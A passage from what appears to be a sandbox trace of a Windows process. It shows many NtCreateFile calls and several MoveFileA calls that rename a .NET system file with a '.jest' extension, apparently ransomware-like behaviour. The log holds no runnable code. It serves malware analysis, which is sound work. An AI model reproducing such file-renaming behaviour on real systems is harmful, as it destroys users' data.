IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.992] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚙ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.994] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᚝\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.994] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚡ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.039] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚣ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.087] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚑ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.088] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.088] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.089] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.092] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ሦ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.093] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.jest" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml.jest")) returned 1 [0172.096] VarBstrFromR4 (in: fltIn=0x47945ad5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75957.66") returned 0x0 [0172.097] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qzUrhNKyYgRwSYWxzcY3xirI0pnSgjJw_hs8SnTTTJU 1SloYyv34j0eclzMuPF6FXa_SNK5vgYoa5NOkvW7ht4HYn5pDGMA 4ye.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qzurhnkyygrwsywxzcy3xiri0pnsgjjw_hs8sntttju 1sloyyv34j0eclzmupf6fxa_snk5vgyoa5nokvw7ht4hyn5pdgma 4ye.tmp")) returned 0 [0172.097] GetLastError () returned 0x2 [0172.098] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᛟ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.099] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᛣ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.100] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ሓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.101] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚙ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.102] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᚝\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.102] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᛻\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.103] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᛿\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.103] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚑ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.104] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.104] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.105] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.105] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚙ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.106] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᚝\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.106] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.107] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.108] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇔ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.148] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇐ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.149] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚙ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.150] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᚝\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.150] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ቜ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.169] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="቟\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.170] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ቜ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.178] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="቟\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.180] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚙ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.181] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᚝\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.181] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚇ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.182] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚍ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.183] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.183] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.202] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="፲\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.203] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭹ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.203] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="፵\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.204] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="፷\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.204] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="፻\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.205] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="፿\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.205] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎁ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.206] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚇ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.206] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚍ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.207] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎃ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.207] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, 